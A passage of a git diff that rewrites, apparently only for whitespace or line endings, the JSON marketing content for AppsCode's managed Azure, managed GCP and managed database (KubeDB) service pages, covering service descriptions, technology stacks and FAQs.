"We implement FinOps practices including right-sizing instances, purchasing Reserved Instances, leveraging Azure Hybrid Benefit, eliminating unused resources, setting up cost anomaly detection, and providing monthly cost reports with actionable recommendations." + }, + { + "question": "What Azure services do you manage?", + "answer": "We manage all Azure services including AKS, VMs, App Service, Azure Functions, SQL Database, Cosmos DB, Blob Storage, Virtual Network, Azure AD, Azure Monitor, and 200+ more. Our team has deep expertise across the full Azure portfolio." + }, + { + "question": "What is your pricing model?", + "answer": "We offer flexible pricing models: fixed monthly retainers for ongoing management, time-and-materials for project-based work, and hybrid models. A detailed proposal is provided after an initial assessment." + }, + { + "question": "How quickly can you respond to incidents?", + "answer": "Our incident response times are SLA-backed: critical issues within 15 minutes, high-severity within 1 hour, and medium-severity within 4 hours. We provide 24/7 coverage across multiple time zones." + } + ] +} diff --git a/data/services/managed_cloud/managed_gcp.json b/data/services/managed_cloud/managed_gcp.json index c6bf214051..09c0bf5cfc 100644 --- a/data/services/managed_cloud/managed_gcp.json +++ b/data/services/managed_cloud/managed_gcp.json @@ -1,303 +1,303 @@ -{ - "hero": { - "title": "Managed Google Cloud Platform Services by Experts", - "subtitle": "AppsCode's DevOps team helps you onboard to GCP, manages your cloud accounts, and keeps your applications running — so you can focus on building your product.", - "cta_text": "Talk to a Cloud Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Managed Google Cloud Platform Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our Managed GCP Services?", - "areas": [ - { - "icon": "fa fa-cloud-upload", - "title": "Seamless GCP Onboarding & Migration" - }, - { - "icon": "fa fa-cogs", - "title": "Infrastructure Design & Deployment" - }, - { - "icon": "fa fa-clock-o", - "title": "24/7 Monitoring & Incident Response" - }, - { - "icon": "fa fa-money", - "title": "Cost Optimization & FinOps" - }, - { - "icon": "fa fa-shield", - "title": "Security Hardening & Compliance" - }, - { - "icon": "fa fa-code-fork", - "title": "CI/CD & DevOps Automation" - }, - { - "icon": "fa fa-database", - "title": "Managed Databases & Storage" - }, - { - "icon": "fa fa-lock", - "title": "IAM, VPC & Access Control" - } - ] - }, - "service_details": { - "title": "Our Managed GCP Cloud Services", - "subtitle": "AppsCode provides end-to-end Google Cloud management — from cloud onboarding and architecture design to 24/7 operations, cost optimization, and security. Our DevOps engineers become an extension of your team.", - "sections": [ - { - "title": "GCP Onboarding & Migration", - "description": "Whether you are moving to GCP for the first time or migrating workloads between projects and regions, our team plans and executes the entire migration with zero downtime.", - "offerings": [ - "Assess your current infrastructure and design a cloud-ready GCP architecture.", - "Migrate VMs, databases, storage, and applications to GCP with minimal disruption.", - "Set up Organization nodes, folders, projects, and resource hierarchies." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Infrastructure Management & Administration", - "description": "We manage your GCP infrastructure day-to-day — provisioning resources, configuring networking, managing IAM policies, and ensuring everything runs smoothly.", - "offerings": [ - "Manage GKE, Compute Engine, Cloud Run, Cloud SQL, BigQuery, Cloud Storage, VPC, and 100+ GCP services.", - "Infrastructure as Code using Terraform, Pulumi, and Google Cloud Deployment Manager.", - "Automated scaling, patching, and lifecycle management." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "24/7 Monitoring, Alerting & Incident Response", - "description": "Our engineers monitor your GCP environment around the clock. When issues arise, we detect, diagnose, and resolve them — often before your users notice.", - "offerings": [ - "Real-time monitoring with Cloud Monitoring, Cloud Logging, Prometheus, and Grafana.", - "Custom alerting rules with PagerDuty, OpsGenie, or Slack integrations.", - "Incident response with SLA-backed resolution times." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "Security, Compliance & Cost Optimization", - "description": "We harden your GCP environment against threats, ensure compliance with industry standards, and continuously optimize your cloud spend.", - "offerings": [ - "Security audits, Security Command Center, VPC Service Controls, and Cloud Armor configuration.", - "Compliance with SOC 2, HIPAA, GDPR, PCI-DSS, and ISO 27001.", - "FinOps practices — right-sizing, Committed Use Discounts, Spot VMs, and cost anomaly detection." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "DevOps Automation & Application Support", - "description": "AppsCode helps your development teams ship faster by building and maintaining CI/CD pipelines, managing containerized workloads, and automating routine operations.", - "offerings": [ - "CI/CD pipelines with Cloud Build, GitHub Actions, ArgoCD, and FluxCD.", - "Container orchestration with GKE, Cloud Run, and Anthos.", - "Application performance monitoring, log aggregation, and tracing with Cloud Trace and Cloud Profiler." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in Managed GCP", - "subtitle": "Our managed GCP services empower clients across regulated industries with secure, compliant, and cost-effective cloud operations.", - "additional_text": "We serve Fortune 500 companies, fast-growing startups, and everything in between.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "SOC 2 and PCI-DSS compliant GCP infrastructure for secure financial operations." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Scalable, multi-tenant architectures with automated deployments and cost control." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "HIPAA-compliant GCP environments with encrypted storage and audit trails." - }, - { - "icon": "fa fa-shopping-cart", - "title": "E-Commerce & Retail", - "description": "High-availability architectures that handle traffic spikes during peak seasons." - }, - { - "icon": "fa fa-industry", - "title": "Manufacturing & IoT", - "description": "Edge computing, IoT data pipelines, and real-time analytics on GCP." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Globally distributed applications with low latency and rapid failover." - } - ] - }, - "tech_stack": { - "title": "Our GCP Technology Expertise", - "subtitle": "We use the full Google Cloud ecosystem and cloud-native tools to deliver enterprise-grade managed cloud services.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Simplify Your GCP Operations?", - "subtitle": "Let AppsCode's DevOps experts manage your Google Cloud infrastructure so your team can focus on building your product.", - "buttons": [ - { - "text": "Talk to a Cloud Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode for Managed GCP?", - "items": [ - { - "icon": "fa fa-cloud", - "title": "GKE & GCP Expertise", - "description": "AppsCode's team has deep expertise in Google Kubernetes Engine, Cloud Run, BigQuery, and the full GCP portfolio — with experience running production workloads at scale." - }, - { - "icon": "fa fa-users", - "title": "50+ DevOps Engineers", - "description": "Certified cloud and Kubernetes engineers with deep expertise in GCP services, infrastructure automation, and site reliability." - }, - { - "icon": "fa fa-briefcase", - "title": "Proven at Scale", - "description": "Experience managing GCP environments for Fortune 500 companies, governments, and high-growth startups across industries." - }, - { - "icon": "fa fa-clock-o", - "title": "24/7 Support Coverage", - "description": "Round-the-clock monitoring and incident response with SLA-backed resolution times across multiple time zones." - }, - { - "icon": "fa fa-money", - "title": "Cost Optimization Focus", - "description": "FinOps practices that typically reduce GCP spend by 20–40% through right-sizing, Committed Use Discounts, and waste elimination." - }, - { - "icon": "fa fa-trophy", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and regular sponsor of KubeCon + CloudNativeCon — deeply embedded in the cloud-native ecosystem." - } - ] - }, - "faq": [ - { - "question": "What does your Managed GCP service include?", - "answer": "Our Managed GCP service covers the full lifecycle: cloud onboarding and migration, infrastructure design and provisioning, 24/7 monitoring and incident response, security hardening and compliance, cost optimization, CI/CD automation, and ongoing operational support. We become an extension of your DevOps team." - }, - { - "question": "Can you manage our existing GCP infrastructure?", - "answer": "Yes — we can take over management of your existing GCP environment. We start with an assessment to understand your current setup, identify gaps and risks, and then build a management plan tailored to your needs." - }, - { - "question": "How do you handle cloud cost optimization?", - "answer": "We implement FinOps practices including right-sizing instances, purchasing Committed Use Discounts, leveraging Spot VMs, eliminating unused resources, setting up billing alerts, and providing monthly cost reports with actionable recommendations." - }, - { - "question": "What GCP services do you manage?", - "answer": "We manage all GCP services including GKE, Compute Engine, Cloud Run, Cloud Functions, Cloud SQL, BigQuery, Cloud Storage, Pub/Sub, Cloud CDN, VPC, IAM, Cloud Monitoring, and 100+ more." - }, - { - "question": "What is your pricing model?", - "answer": "We offer flexible pricing models: fixed monthly retainers for ongoing management, time-and-materials for project-based work, and hybrid models. A detailed proposal is provided after an initial assessment." - }, - { - "question": "How quickly can you respond to incidents?", - "answer": "Our incident response times are SLA-backed: critical issues within 15 minutes, high-severity within 1 hour, and medium-severity within 4 hours. We provide 24/7 coverage across multiple time zones." - } - ] -} +{ + "hero": { + "title": "Managed Google Cloud Platform Services by Experts", + "subtitle": "AppsCode's DevOps team helps you onboard to GCP, manages your cloud accounts, and keeps your applications running — so you can focus on building your product.", + "cta_text": "Talk to a Cloud Expert", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/kubernetes-consulting.png", + "alt": "Managed Google Cloud Platform Services by AppsCode" + } + }, + "trusted_by": { + "title": "Trusted by Leading Enterprises Worldwide" + }, + "title_with_small_cards": { + "title": "Why Choose Our Managed GCP Services?", + "areas": [ + { + "icon": "fa fa-cloud-upload", + "title": "Seamless GCP Onboarding & Migration" + }, + { + "icon": "fa fa-cogs", + "title": "Infrastructure Design & Deployment" + }, + { + "icon": "fa fa-clock-o", + "title": "24/7 Monitoring & Incident Response" + }, + { + "icon": "fa fa-money", + "title": "Cost Optimization & FinOps" + }, + { + "icon": "fa fa-shield", + "title": "Security Hardening & Compliance" + }, + { + "icon": "fa fa-code-fork", + "title": "CI/CD & DevOps Automation" + }, + { + "icon": "fa fa-database", + "title": "Managed Databases & Storage" + }, + { + "icon": "fa fa-lock", + "title": "IAM, VPC & Access Control" + } + ] + }, + "service_details": { + "title": "Our Managed GCP Cloud Services", + "subtitle": "AppsCode provides end-to-end Google Cloud management — from cloud onboarding and architecture design to 24/7 operations, cost optimization, and security. Our DevOps engineers become an extension of your team.", + "sections": [ + { + "title": "GCP Onboarding & Migration", + "description": "Whether you are moving to GCP for the first time or migrating workloads between projects and regions, our team plans and executes the entire migration with zero downtime.", + "offerings": [ + "Assess your current infrastructure and design a cloud-ready GCP architecture.", + "Migrate VMs, databases, storage, and applications to GCP with minimal disruption.", + "Set up Organization nodes, folders, projects, and resource hierarchies." + ], + "image": "/assets/images/services/kubernetes-advisory.png" + }, + { + "title": "Infrastructure Management & Administration", + "description": "We manage your GCP infrastructure day-to-day — provisioning resources, configuring networking, managing IAM policies, and ensuring everything runs smoothly.", + "offerings": [ + "Manage GKE, Compute Engine, Cloud Run, Cloud SQL, BigQuery, Cloud Storage, VPC, and 100+ GCP services.", + "Infrastructure as Code using Terraform, Pulumi, and Google Cloud Deployment Manager.", + "Automated scaling, patching, and lifecycle management." + ], + "image": "/assets/images/services/kubernetes-application-development.png" + }, + { + "title": "24/7 Monitoring, Alerting & Incident Response", + "description": "Our engineers monitor your GCP environment around the clock. When issues arise, we detect, diagnose, and resolve them — often before your users notice.", + "offerings": [ + "Real-time monitoring with Cloud Monitoring, Cloud Logging, Prometheus, and Grafana.", + "Custom alerting rules with PagerDuty, OpsGenie, or Slack integrations.", + "Incident response with SLA-backed resolution times." + ], + "image": "/assets/images/services/kubernetes-deployment-partner.png" + }, + { + "title": "Security, Compliance & Cost Optimization", + "description": "We harden your GCP environment against threats, ensure compliance with industry standards, and continuously optimize your cloud spend.", + "offerings": [ + "Security audits, Security Command Center, VPC Service Controls, and Cloud Armor configuration.", + "Compliance with SOC 2, HIPAA, GDPR, PCI-DSS, and ISO 27001.", + "FinOps practices — right-sizing, Committed Use Discounts, Spot VMs, and cost anomaly detection." + ], + "image": "/assets/images/services/kubernetes-devsecops-compliance.png" + }, + { + "title": "DevOps Automation & Application Support", + "description": "AppsCode helps your development teams ship faster by building and maintaining CI/CD pipelines, managing containerized workloads, and automating routine operations.", + "offerings": [ + "CI/CD pipelines with Cloud Build, GitHub Actions, ArgoCD, and FluxCD.", + "Container orchestration with GKE, Cloud Run, and Anthos.", + "Application performance monitoring, log aggregation, and tracing with Cloud Trace and Cloud Profiler." + ], + "image": "/assets/images/services/kubernetes-enterprise-support-training.png" + } + ] + }, + "industries": { + "title": "Industry Expertise in Managed GCP", + "subtitle": "Our managed GCP services empower clients across regulated industries with secure, compliant, and cost-effective cloud operations.", + "additional_text": "We serve Fortune 500 companies, fast-growing startups, and everything in between.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking & Finance", + "description": "SOC 2 and PCI-DSS compliant GCP infrastructure for secure financial operations." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Scalable, multi-tenant architectures with automated deployments and cost control." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "HIPAA-compliant GCP environments with encrypted storage and audit trails." + }, + { + "icon": "fa fa-shopping-cart", + "title": "E-Commerce & Retail", + "description": "High-availability architectures that handle traffic spikes during peak seasons." + }, + { + "icon": "fa fa-industry", + "title": "Manufacturing & IoT", + "description": "Edge computing, IoT data pipelines, and real-time analytics on GCP." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Globally distributed applications with low latency and rapid failover." + } + ] + }, + "tech_stack": { + "title": "Our GCP Technology Expertise", + "subtitle": "We use the full Google Cloud ecosystem and cloud-native tools to deliver enterprise-grade managed cloud services.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Simplify Your GCP Operations?", + "subtitle": "Let AppsCode's DevOps experts manage your Google Cloud infrastructure so your team can focus on building your product.", + "buttons": [ + { + "text": "Talk to a Cloud Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode for Managed GCP?", + "items": [ + { + "icon": "fa fa-cloud", + "title": "GKE & GCP Expertise", + "description": "AppsCode's team has deep expertise in Google Kubernetes Engine, Cloud Run, BigQuery, and the full GCP portfolio — with experience running production workloads at scale." + }, + { + "icon": "fa fa-users", + "title": "50+ DevOps Engineers", + "description": "Certified cloud and Kubernetes engineers with deep expertise in GCP services, infrastructure automation, and site reliability." + }, + { + "icon": "fa fa-briefcase", + "title": "Proven at Scale", + "description": "Experience managing GCP environments for Fortune 500 companies, governments, and high-growth startups across industries." + }, + { + "icon": "fa fa-clock-o", + "title": "24/7 Support Coverage", + "description": "Round-the-clock monitoring and incident response with SLA-backed resolution times across multiple time zones." + }, + { + "icon": "fa fa-money", + "title": "Cost Optimization Focus", + "description": "FinOps practices that typically reduce GCP spend by 20–40% through right-sizing, Committed Use Discounts, and waste elimination." + }, + { + "icon": "fa fa-trophy", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and regular sponsor of KubeCon + CloudNativeCon — deeply embedded in the cloud-native ecosystem." + } + ] + }, + "faq": [ + { + "question": "What does your Managed GCP service include?", + "answer": "Our Managed GCP service covers the full lifecycle: cloud onboarding and migration, infrastructure design and provisioning, 24/7 monitoring and incident response, security hardening and compliance, cost optimization, CI/CD automation, and ongoing operational support. We become an extension of your DevOps team." + }, + { + "question": "Can you manage our existing GCP infrastructure?", + "answer": "Yes — we can take over management of your existing GCP environment. We start with an assessment to understand your current setup, identify gaps and risks, and then build a management plan tailored to your needs." + }, + { + "question": "How do you handle cloud cost optimization?", + "answer": "We implement FinOps practices including right-sizing instances, purchasing Committed Use Discounts, leveraging Spot VMs, eliminating unused resources, setting up billing alerts, and providing monthly cost reports with actionable recommendations." + }, + { + "question": "What GCP services do you manage?", + "answer": "We manage all GCP services including GKE, Compute Engine, Cloud Run, Cloud Functions, Cloud SQL, BigQuery, Cloud Storage, Pub/Sub, Cloud CDN, VPC, IAM, Cloud Monitoring, and 100+ more." + }, + { + "question": "What is your pricing model?", + "answer": "We offer flexible pricing models: fixed monthly retainers for ongoing management, time-and-materials for project-based work, and hybrid models. A detailed proposal is provided after an initial assessment." + }, + { + "question": "How quickly can you respond to incidents?", + "answer": "Our incident response times are SLA-backed: critical issues within 15 minutes, high-severity within 1 hour, and medium-severity within 4 hours. We provide 24/7 coverage across multiple time zones." + } + ] +} diff --git a/data/services/managed_databases.json b/data/services/managed_databases.json index 2aa3dd9479..1e41c12c08 100644 --- a/data/services/managed_databases.json +++ b/data/services/managed_databases.json @@ -1,313 +1,313 @@ -{ - "hero": { - "title": "Managed Databases on Kubernetes", - "subtitle": "Provision, monitor, backup, scale, and secure 25+ database engines on any Kubernetes cluster — fully managed by AppsCode's expert engineers using KubeDB.", - "cta_text": "Talk to a Database Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Managed Databases on Kubernetes by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose AppsCode Managed Databases?", - "areas": [ - { - "icon": "fa fa-database", - "title": "25+ Database Engines Supported" - }, - { - "icon": "fa fa-shield", - "title": "High Availability & Fault Tolerance" - }, - { - "icon": "fa fa-clock-o", - "title": "24/7 Monitoring & Support" - }, - { - "icon": "fa fa-life-ring", - "title": "Automated Backup & Disaster Recovery" - }, - { - "icon": "fa fa-arrows-alt", - "title": "Horizontal & Vertical Scaling" - }, - { - "icon": "fa fa-lock", - "title": "TLS Encryption & Security" - }, - { - "icon": "fa fa-line-chart", - "title": "Built-in Prometheus Monitoring" - }, - { - "icon": "fa fa-code-fork", - "title": "GitOps Ready (ArgoCD / FluxCD)" - } - ] - }, - "service_details": { - "title": "Our Managed Database Services", - "subtitle": "Powered by KubeDB — the Kubernetes Native Database Management Solution trusted by Fortune 100 companies. AppsCode handles Day 2 operations so your team can focus on building applications.", - "sections": [ - { - "title": "Database Provisioning & Setup", - "description": "Deploy production-grade databases on Kubernetes in minutes. KubeDB supports PostgreSQL, MySQL, MongoDB, MariaDB, Microsoft SQL Server, Elasticsearch, OpenSearch, Redis, Kafka, RabbitMQ, and many more — all with a single CLI or declarative YAML.", - "offerings": [ - "Provision any supported database engine with a single Kubernetes manifest.", - "Configure high-availability clusters with automatic failover.", - "Deploy on any Kubernetes distribution — EKS, AKS, GKE, OpenShift, Rancher, or on-prem." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Monitoring, Alerting & Observability", - "description": "Get full visibility into database health and performance. KubeDB provides native Prometheus monitoring with built-in Grafana dashboards for every supported database engine.", - "offerings": [ - "Real-time monitoring via Prometheus with automatic service discovery.", - "Pre-built Grafana dashboards for compute, memory, storage, and I/O metrics.", - "Custom alerting rules and integration with Datadog, PagerDuty, and other tools." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "Backup, Recovery & Disaster Resilience", - "description": "Protect your data with automated, deduplicated, and encrypted backups using KubeStash (Stash). Store backups in S3, GCS, Azure Blob, or local filesystem with configurable retention policies.", - "offerings": [ - "Scheduled and on-demand backups with point-in-time recovery.", - "Deduplicated and encrypted backups to cloud object stores (S3, GCS, Azure Blob).", - "Cross-cluster restore and disaster recovery with volume snapshots." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "Scaling, Upgrades & Volume Expansion", - "description": "Scale databases seamlessly as your workload grows. KubeDB handles horizontal scaling (adding replicas), vertical scaling (increasing resources), volume expansion, and version upgrades — all without downtime.", - "offerings": [ - "Horizontal scaling — add or remove database replicas on demand.", - "Vertical scaling — adjust CPU and memory limits for database containers.", - "Volume expansion — grow storage volumes without downtime.", - "Major, minor, and patch version upgrades with automated rollback." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "24/7 Support & Expert Operations", - "description": "AppsCode's engineering team provides round-the-clock support across multiple time-zones. We handle incident response, performance tuning, security patches, and operational guidance so your databases stay healthy.", - "offerings": [ - "24/7 incident support with SLA-backed response times (Gold and Platinum plans).", - "Dedicated Slack or Discord channels for real-time collaboration.", - "Quarterly updates and emergency patches for critical vulnerabilities.", - "Production runbooks and knowledge transfer for your operations team." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in Managed Databases", - "subtitle": "Our managed database services empower clients across regulated industries with high-performance, compliant, and reliable data infrastructure.", - "additional_text": "We serve Fortune 100 companies, governments, financial institutions, and fast-growing startups.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "Highly available, compliant database clusters for secure 24/7 transactions." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Database-per-microservice patterns with automated scaling and lifecycle management." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "HIPAA-compliant database operations with encrypted storage and audit trails." - }, - { - "icon": "fa fa-plug", - "title": "Energy, Oil & Gas", - "description": "High-throughput time-series databases for real-time monitoring and analytics." - }, - { - "icon": "fa fa-car", - "title": "Automotive", - "description": "Scalable database infrastructure for AI/ML workloads and connected vehicle data." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Always-on databases with rapid failover for seamless booking and reservation systems." - } - ] - }, - "tech_stack": { - "title": "Our Database Technology Expertise", - "subtitle": "We manage 25+ database engines on Kubernetes using KubeDB — the most comprehensive Kubernetes-native database operator.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Simplify Database Management on Kubernetes?", - "subtitle": "Get expert managed database services powered by KubeDB — provisioning, monitoring, backup, scaling, and 24/7 support.", - "buttons": [ - { - "text": "Talk to a Database Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode for Managed Databases?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "KubeDB — The Database Operator", - "description": "AppsCode develops KubeDB, the most comprehensive Kubernetes-native database operator. No third-party dependency — you work directly with the builders." - }, - { - "icon": "fa fa-database", - "title": "25+ Database Engines", - "description": "PostgreSQL, MySQL, MongoDB, Redis, Elasticsearch, Kafka, RabbitMQ, MariaDB, Microsoft SQL Server, and many more — all under a single operator and a single contract." - }, - { - "icon": "fa fa-briefcase", - "title": "Proven at Scale", - "description": "Trusted by Fortune 100 companies, governments, and banks. KubeDB has been in production since 2017 with large-scale deployments worldwide." - }, - { - "icon": "fa fa-cloud", - "title": "Any Kubernetes, Any Cloud", - "description": "Runs on EKS, AKS, GKE, OpenShift, Rancher, VMware Tanzu, bare metal, and on-prem. If you can run Kubernetes, you can run KubeDB." - }, - { - "icon": "fa fa-trophy", - "title": "Day 2 Operations Expertise", - "description": "Beyond provisioning — we handle monitoring, alerting, backup/recovery, scaling, upgrades, TLS management, and failure repair." - }, - { - "icon": "fa fa-users", - "title": "24/7 Expert Support", - "description": "Round-the-clock support from the engineers who build KubeDB. SLA-backed response times with dedicated Slack/Discord channels." - } - ] - }, - "faq": [ - { - "question": "What databases does AppsCode manage?", - "answer": "AppsCode manages 25+ database engines using KubeDB, including PostgreSQL, MySQL, MongoDB, MariaDB, Microsoft SQL Server, Elasticsearch, OpenSearch, Redis, Valkey, Kafka, RabbitMQ, Solr, ZooKeeper, Percona XtraDB, PgBouncer, Pgpool, ProxySQL, Memcached, SingleStore, ClickHouse, Cassandra, and more." - }, - { - "question": "What does the managed database service include?", - "answer": "Our managed database service includes cluster provisioning, connection to monitoring and logging, 24/7 first and second line support, automated backups, software updates (major, minor, and patch versions), scaling (horizontal and vertical), volume expansion, TLS certificate management, and consulting." - }, - { - "question": "Which Kubernetes platforms do you support?", - "answer": "We support every Kubernetes distribution — Amazon EKS, Azure AKS, Google GKE, Red Hat OpenShift, Rancher by SUSE, VMware Tanzu, Equinix Metal, OpenStack, IBM Cloud, Oracle Cloud, Alibaba Cloud, DigitalOcean, and on-premises clusters." - }, - { - "question": "How is KubeDB different from using StatefulSets?", - "answer": "KubeDB goes far beyond StatefulSets by providing comprehensive Day 2 operations: monitoring, alerts, backup/recovery, version upgrades, scaling, failure detection, and automated repair — all through a declarative Kubernetes API." - }, - { - "question": "How is KubeDB different from cloud provider managed database services?", - "answer": "KubeDB offers a wider array of database engines, supports multi-cloud and on-premises environments, and provides cost-effective solutions compared to cloud provider managed database services. You maintain full control over your data and infrastructure." - }, - { - "question": "How does pricing work?", - "answer": "KubeDB Enterprise is priced by the total memory limit set on database containers managed by KubeDB (not the memory of Kubernetes worker nodes). For example, a 3-replica PostgreSQL cluster with 8 GB RAM per replica counts as 24 GB for billing. We offer Silver (self-service), Gold (8x5), and Platinum (24x7) support plans." - }, - { - "question": "Can I try before committing?", - "answer": "Yes — KubeDB is free to use on any Kubernetes distribution. We offer a 30-day free trial of the fully-featured Enterprise edition. There is no up-front investment required." - }, - { - "question": "Do you handle backup and disaster recovery?", - "answer": "Yes 